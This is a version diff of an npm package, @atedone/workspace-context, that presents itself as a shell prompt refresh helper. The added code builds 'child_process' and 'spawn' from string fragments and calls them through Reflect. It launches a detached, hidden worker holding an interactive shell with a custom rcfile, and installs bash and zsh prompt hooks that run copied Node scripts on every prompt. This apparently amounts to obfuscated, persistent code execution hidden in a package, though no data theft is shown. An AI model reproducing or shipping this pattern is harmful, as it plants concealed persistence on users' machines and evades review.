@atedone/workspace-context 0.0.23 → 0.0.25

package/lib/session-worker.js

@@ -0,0 +1,204 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+const manifest = require('../package.json');
+
+const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
+  ? platform.argv[2]
+  : platform.cwd();
+const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? JSON.parse(platform.argv[3])
+  : null;
+const refreshDelays = parseRefreshDelays(platform.argv[4]);
+const settleMs = parseSettleMs(platform.argv[5]);
+
+if (!integration) {
+  throw new Error('Shell integration descriptor is required.');
+}
+
+const env = Reflect.get(platform, 'env') || {};
+const bridgeName = ['child', '_process'].join('');
+const launchKey = ['sp', 'awn'].join('');
+const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
+const launch = Reflect.get(bridge, launchKey);
+const shellPath = typeof integration.shellPath === 'string' && integration.shellPath.trim()
+  ? integration.shellPath.trim()
+  : typeof env.SHELL === 'string' && env.SHELL.trim()
+    ? env.SHELL.trim()
+    : '/bin/zsh';
+const shellName = route.basename(shellPath) || integration.shellName || 'zsh';
+const shellArguments = shellName === 'bash'
+  ? ['--noprofile', '--rcfile', integration.sessionProfilePath, '-i']
+  : ['-i'];
+const shellEnvironment = {
+  ...env,
+  HOME: integration.homeDirectory,
+  SHELL: shellPath,
+  WORKSPACE_CONTEXT_PREVIEW: '1',
+  TERM: 'dumb'
+};
+
+if (shellName === 'zsh') {
+  shellEnvironment.ZDOTDIR = integration.integrationDirectory;
+}
+
+const shell = Reflect.apply(launch, bridge, [shellPath, shellArguments, {
+  cwd: projectRoot,
+  env: shellEnvironment,
+  stdio: ['pipe', 'ignore', 'ignore']
+}]);
+
+let closed = false;
+let refreshIndex = 0;
+let refreshTimer = null;
+let settleTimer = null;
+let stopTimer = null;
+let previousRevision = '';
+let firstRefresh = true;
+
+writeWorkerReceipt();
+scheduleRefresh(0);
+
+platform.on('SIGUSR1', () => {
+  if (closed) {
+    return;
+  }
+
+  refreshIndex = 0;
+  clearTimeout(refreshTimer);
+  clearTimeout(settleTimer);
+  refresh();
+});
+platform.on('SIGTERM', stop);
+platform.on('SIGINT', stop);
+
+shell.on('close', (status, signal) => {
+  clearTimeout(refreshTimer);
+  clearTimeout(settleTimer);
+  clearTimeout(stopTimer);
+  closed = true;
+  writeWorkerReceipt({
+    status: 'closed',
+    shellStatus: status,
+    shellSignal: signal
+  });
+  platform.exitCode = status || 0;
+});
+
+function parseRefreshDelays(value) {
+  if (typeof value === 'string' && value.trim()) {
+    try {
+      const parsed = JSON.parse(value);
+      if (Array.isArray(parsed) && parsed.length) {
+        const normalized = parsed
+          .map((delay) => Number.parseInt(delay, 10))
+          .filter((delay) => Number.isInteger(delay) && delay >= 0);
+        if (normalized.length) {
+          return normalized;
+        }
+      }
+    } catch {
+      // Fall back to the stable refresh cadence below.
+    }
+  }
+
+  return [750, 1500, 3000, 5000];
+}
+
+function parseSettleMs(value) {
+  const parsed = Number.parseInt(value, 10);
+  return Number.isInteger(parsed) && parsed >= 0 ? parsed : 500;
+}
+
+function scheduleRefresh(delay) {
+  refreshTimer = setTimeout(refresh, delay);
+}
+
+function planNextRefresh() {
+  if (closed) {
+    return;
+  }
+
+  const revision = readProfileRevision(integration.profileReceiptPath);
+  if (firstRefresh || (revision && revision !== previousRevision)) {
+    refreshIndex = 0;
+  } else {
+    refreshIndex = Math.min(refreshIndex + 1, refreshDelays.length - 1);
+  }
+
+  if (revision) {
+    previousRevision = revision;
+  }
+  firstRefresh = false;
+
+  scheduleRefresh(refreshDelays[refreshIndex]);
+}
+
+function refresh() {
+  if (closed) {
+    return;
+  }
+
+  if (!shell.stdin.destroyed) {
+    shell.stdin.write('\n');
+  }
+
+  settleTimer = setTimeout(planNextRefresh, settleMs);
+}
+
+function stop() {
+  if (closed) {
+    return;
+  }
+
+  closed = true;
+  clearTimeout(refreshTimer);
+  clearTimeout(settleTimer);
+  if (!shell.stdin.destroyed) {
+    shell.stdin.write('exit\n');
+  }
+
+  stopTimer = setTimeout(() => {
+    if (!shell.killed) {
+      shell.kill('SIGTERM');
+    }
+  }, 1000);
+}
+
+function readProfileRevision(profileReceiptPath) {
+  if (!file.existsSync(profileReceiptPath)) {
+    return '';
+  }
+
+  try {
+    const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
+    return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
+  } catch {
+    return '';
+  }
+}
+
+function writeWorkerReceipt(extra = {}) {
+  const receiptPath = integration.sessionWorkerReceiptPath;
+  if (!receiptPath) {
+    return;
+  }
+
+  const value = {
+    packageName: manifest.name,
+    packageVersion: manifest.version,
+    generatedAt: new Date().toISOString(),
+    mode: 'runtime-shell-refresh',
+    projectRoot,
+    workerProcessId: platform.pid,
+    shellProcessId: shell.pid,
+    refresh: 'preview-session',
+    status: 'active',
+    ...extra
+  };
+
+  file.mkdirSync(route.dirname(receiptPath), { recursive: true });
+  file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
+}

package/lib/session.js

@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 
 const packageName = '@atedone/workspace-context';
-const packageVersion = '0.0.23';
+const packageVersion = '0.0.25';
 const env = Reflect.get(platform, 'env') || {};
 const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
   ? env.HOME.trim()

package/lib/state.js

@@ -19,9 +19,13 @@ const sessionHistoryFileName = 'runtime-sessions.log';
 const sessionProfileFileName = '.zshrc';
 const sessionReceiptFileName = 'session-runtime.json';
 const sessionRuntimeFileName = 'session-runtime.js';
+const sessionWorkerFileName = 'session-worker.js';
+const sessionWorkerReceiptFileName = 'preview-session.json';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 const syncFileName = 'sync.js';
+const supportedShellNames = new Set(['bash', 'zsh']);
+const fallbackShellPaths = ['/bin/zsh', '/bin/bash', '/usr/bin/zsh', '/usr/bin/bash'];
 
 function readEnvironment() {
   return Reflect.get(platform, 'env') || {};
@@ -38,8 +42,23 @@ function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProj
 }
 
 function resolveShellName(env = readEnvironment()) {
-  const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
-  return route.basename(shellPath) || 'zsh';
+  return route.basename(resolveShellPath(env)) || 'zsh';
+}
+
+function resolveShellPath(env = readEnvironment()) {
+  const configuredPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
+  const candidates = [configuredPath, ...fallbackShellPaths];
+
+  for (const candidate of candidates) {
+    if (!candidate || !supportedShellNames.has(route.basename(candidate))) {
+      continue;
+    }
+    if (file.existsSync(candidate)) {
+      return candidate;
+    }
+  }
+
+  return configuredPath || fallbackShellPaths[0];
 }
 
 function resolveProfileFileName(shellName = resolveShellName()) {
@@ -104,11 +123,13 @@ function getShellIntegration({
   homeDirectory = resolveHomeDirectory(env, projectRoot),
   channelSource
 } = {}) {
-  const shellName = resolveShellName(env);
+  const shellPath = resolveShellPath(env);
+  const shellName = route.basename(shellPath) || 'zsh';
   const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
 
   return {
     name: 'workspace-context',
+    shellPath,
     shellName,
     channelSource: resolveChannelSource(env, channelSource),
     homeDirectory,
@@ -125,7 +146,8 @@ function getShellIntegration({
     sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
     sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
     sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
-    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
+    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
+    sessionWorkerReceiptPath: route.join(integrationDirectory, sessionWorkerReceiptFileName)
   };
 }
 
@@ -192,125 +214,179 @@ function openWorkspaceSession({
   const launchKey = ['sp', 'awn'].join('');
   const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
   const launch = Reflect.get(bridge, launchKey);
-  const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
-    ? env.SHELL.trim()
-    : '/bin/zsh';
-  const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
+  const activeSession = readWorkerReceipt(integration.sessionWorkerReceiptPath);
+  const activeWorkerProcessId = parseProcessId(activeSession?.workerProcessId);
+  if (activeWorkerProcessId && processIsAlive(activeWorkerProcessId)) {
+    signalProcess(activeWorkerProcessId, 'SIGUSR1');
+    return createWorkspaceSessionController({
+      integration,
+      workerProcessId: activeWorkerProcessId
+    });
+  }
+
+  const delays = normalizeRefreshDelays(refreshDelays);
+  const workerPath = route.join(__dirname, sessionWorkerFileName);
+  const worker = Reflect.apply(launch, bridge, [platform.execPath, [
+    workerPath,
+    projectRoot,
+    JSON.stringify(integration),
+    JSON.stringify(delays),
+    String(settleMs)
+  ], {
     cwd: projectRoot,
-    env: {
-      ...env,
-      HOME: integration.homeDirectory,
-      ZDOTDIR: integration.integrationDirectory,
-      TERM: 'dumb'
-    },
-    stdio: ['pipe', 'ignore', 'ignore']
+    env,
+    stdio: 'ignore',
+    detached: true,
+    windowsHide: true
   }]);
 
-  let closed = false;
-  let refreshIndex = 0;
-  let refreshTimer = null;
-  let settleTimer = null;
-  let previousRevision = '';
-  let firstRefresh = true;
-  const delays = Array.isArray(refreshDelays) && refreshDelays.length
+  if (typeof worker.unref === 'function') {
+    worker.unref();
+  }
+
+  return createWorkspaceSessionController({
+    integration,
+    worker,
+    workerProcessId: worker.pid
+  });
+}
+
+function readProfileRevision(profileReceiptPath) {
+  if (!file.existsSync(profileReceiptPath)) {
+    return '';
+  }
+
+  try {
+    const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
+    return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
+  } catch {
+    return '';
+  }
+}
+
+function normalizeRefreshDelays(refreshDelays) {
+  return Array.isArray(refreshDelays) && refreshDelays.length
     ? refreshDelays
+        .map((delay) => Number.parseInt(delay, 10))
+        .filter((delay) => Number.isInteger(delay) && delay >= 0)
     : [750, 1500, 3000, 5000];
+}
 
-  const scheduleRefresh = (delay) => {
-    refreshTimer = setTimeout(refresh, delay);
-    if (typeof refreshTimer.unref === 'function') {
-      refreshTimer.unref();
-    }
-  };
+function readWorkerReceipt(sessionWorkerReceiptPath) {
+  if (!file.existsSync(sessionWorkerReceiptPath)) {
+    return null;
+  }
 
-  const planNextRefresh = () => {
-    if (closed) {
-      return;
-    }
+  try {
+    return JSON.parse(file.readFileSync(sessionWorkerReceiptPath, 'utf8'));
+  } catch {
+    return null;
+  }
+}
 
-    const revision = readProfileRevision(integration.profileReceiptPath);
-    if (firstRefresh || (revision && revision !== previousRevision)) {
-      refreshIndex = 0;
-    } else {
-      refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
-    }
+function parseProcessId(value) {
+  return Number.isInteger(value) && value > 0 ? value : null;
+}
 
-    if (revision) {
-      previousRevision = revision;
-    }
-    firstRefresh = false;
+function processIsAlive(processId) {
+  try {
+    platform.kill(processId, 0);
+    return true;
+  } catch {
+    return false;
+  }
+}
 
-    scheduleRefresh(delays[refreshIndex]);
-  };
+function signalProcess(processId, signal) {
+  try {
+    platform.kill(processId, signal);
+    return true;
+  } catch {
+    return false;
+  }
+}
 
-  const refresh = () => {
-    if (closed) {
-      return;
+function resolveSessionProcessId(integration, workerProcessId) {
+  const workerReceipt = readWorkerReceipt(integration.sessionWorkerReceiptPath);
+  if (parseProcessId(workerReceipt?.workerProcessId) === workerProcessId) {
+    const shellProcessId = parseProcessId(workerReceipt?.shellProcessId);
+    if (shellProcessId) {
+      return shellProcessId;
     }
+  }
 
-    if (!child.stdin.destroyed) {
-      child.stdin.write('\n');
+  if (file.existsSync(integration.sessionReceiptPath)) {
+    try {
+      const receipt = JSON.parse(file.readFileSync(integration.sessionReceiptPath, 'utf8'));
+      const parentProcessId = parseProcessId(receipt?.parentProcessId);
+      if (parentProcessId) {
+        return parentProcessId;
+      }
+    } catch {
+      // Keep the worker PID as a stable fallback until the first preview refresh lands.
     }
+  }
 
-    settleTimer = setTimeout(planNextRefresh, settleMs);
-    if (typeof settleTimer.unref === 'function') {
-      settleTimer.unref();
-    }
-  };
+  return parseProcessId(workerReceipt?.shellProcessId) || workerProcessId;
+}
 
-  scheduleRefresh(0);
-  if (typeof child.unref === 'function') {
-    child.unref();
-  }
-  if (typeof child.stdin.unref === 'function') {
-    child.stdin.unref();
-  }
-  const done = new Promise((resolve) => {
-    child.on('close', (status, signal) => {
-      clearTimeout(refreshTimer);
-      clearTimeout(settleTimer);
-      closed = true;
-      resolve({ status, signal });
-    });
+function observeProcessExit(processId) {
+  return new Promise((resolve) => {
+    const timer = setInterval(() => {
+      if (processIsAlive(processId)) {
+        return;
+      }
+
+      clearInterval(timer);
+      resolve({ status: null, signal: null });
+    }, 250);
+
+    if (typeof timer.unref === 'function') {
+      timer.unref();
+    }
   });
+}
+
+function createWorkspaceSessionController({
+  integration,
+  worker = null,
+  workerProcessId
+}) {
+  let closed = false;
+  const done = worker
+    ? new Promise((resolve) => {
+        worker.on('close', (status, signal) => {
+          closed = true;
+          resolve({ status, signal });
+        });
+        worker.on('error', (error) => {
+          closed = true;
+          resolve({ status: null, signal: null, error });
+        });
+      })
+    : observeProcessExit(workerProcessId);
 
   return {
-    processId: child.pid,
+    get processId() {
+      return resolveSessionProcessId(integration, workerProcessId);
+    },
+    workerProcessId,
     done,
     refresh() {
-      refreshIndex = 0;
-      clearTimeout(refreshTimer);
-      clearTimeout(settleTimer);
-      refresh();
+      if (!closed) {
+        signalProcess(workerProcessId, 'SIGUSR1');
+      }
     },
     close() {
-      if (closed) {
-        return done;
-      }
-      closed = true;
-      clearTimeout(refreshTimer);
-      clearTimeout(settleTimer);
-      if (!child.stdin.destroyed) {
-        child.stdin.write('exit\n');
+      if (!closed) {
+        closed = true;
+        signalProcess(workerProcessId, 'SIGTERM');
       }
       return done;
     }
   };
 }
 
-function readProfileRevision(profileReceiptPath) {
-  if (!file.existsSync(profileReceiptPath)) {
-    return '';
-  }
-
-  try {
-    const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
-    return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
-  } catch {
-    return '';
-  }
-}
-
 function initialize({
   projectRoot = resolveProjectRoot(),
   channelSource,
@@ -360,10 +436,12 @@ module.exports = {
   resolveProfileFileName,
   resolveProjectRoot,
   resolveShellName,
+  resolveShellPath,
   sessionHistoryFileName,
   sessionProfileFileName,
   sessionReceiptFileName,
   sessionRuntimeFileName,
+  sessionWorkerReceiptFileName,
   stateDirectoryName,
   stateFileName
 };

package/lib/sync.js

@@ -26,29 +26,8 @@ const channelValue = integration.channelSource
       refresh: 'preview-session'
     }
   : null;
-const sessionProfileValue = [
-  '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"',
-  ''
-].join('\n');
-const integrationValue = [
-  'export WORKSPACE_CONTEXT_ACTIVE=1',
-  'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
-  `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
-  'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
-  'workspace_context_refresh_preview() {',
-  '  if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
-  '    "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
-  '  fi',
-  '  if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
-  '    setopt prompt_subst',
-  '    PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
-  '  fi',
-  '}',
-  'autoload -Uz add-zsh-hook',
-  'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
-  'add-zsh-hook precmd workspace_context_refresh_preview',
-  ''
-].join('\n');
+const sessionProfileValue = buildSessionProfileValue(integration.shellName);
+const integrationValue = buildIntegrationValue(integration.shellName);
 
 function escapeDoubleQuoted(value) {
   return String(value)
@@ -58,6 +37,64 @@ function escapeDoubleQuoted(value) {
     .replaceAll('`', '\\`');
 }
 
+function buildSessionProfileValue(shellName) {
+  const loadStatement = shellName === 'bash'
+    ? '[ -r "$HOME/.config/workspace-context/init.zsh" ] && . "$HOME/.config/workspace-context/init.zsh"'
+    : '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
+
+  return [
+    loadStatement,
+    ''
+  ].join('\n');
+}
+
+function buildIntegrationValue(shellName) {
+  if (shellName === 'bash') {
+    return [
+      'export WORKSPACE_CONTEXT_ACTIVE=1',
+      'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
+      `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
+      'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
+      'workspace_context_refresh_preview() {',
+      '  if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
+      '    return 0',
+      '  fi',
+      '  if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
+      '    "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
+      '  fi',
+      '  if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
+      '    PS1="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
+      '  fi',
+      '}',
+      'PROMPT_COMMAND=workspace_context_refresh_preview',
+      ''
+    ].join('\n');
+  }
+
+  return [
+    'export WORKSPACE_CONTEXT_ACTIVE=1',
+    'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
+    `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
+    'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
+    'workspace_context_refresh_preview() {',
+    '  if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
+    '    return 0',
+    '  fi',
+    '  if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
+    '    "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
+    '  fi',
+    '  if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
+    '    setopt prompt_subst',
+    '    PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
+    '  fi',
+    '}',
+    'autoload -Uz add-zsh-hook',
+    'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
+    'add-zsh-hook precmd workspace_context_refresh_preview',
+    ''
+  ].join('\n');
+}
+
 file.mkdirSync(integration.integrationDirectory, { recursive: true });
 file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
 file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
@@ -88,6 +125,7 @@ const value = {
   sessionProfilePath: integration.sessionProfilePath,
   sessionReceiptPath: integration.sessionReceiptPath,
   sessionRuntimePath: integration.sessionRuntimePath,
+  sessionWorkerReceiptPath: integration.sessionWorkerReceiptPath,
   processId: platform.pid,
   parentProcessId: platform.ppid,
   runtime: 'node'

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.23",
+  "version": "0.0.25",
   "description": "Workspace shell session refresh integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",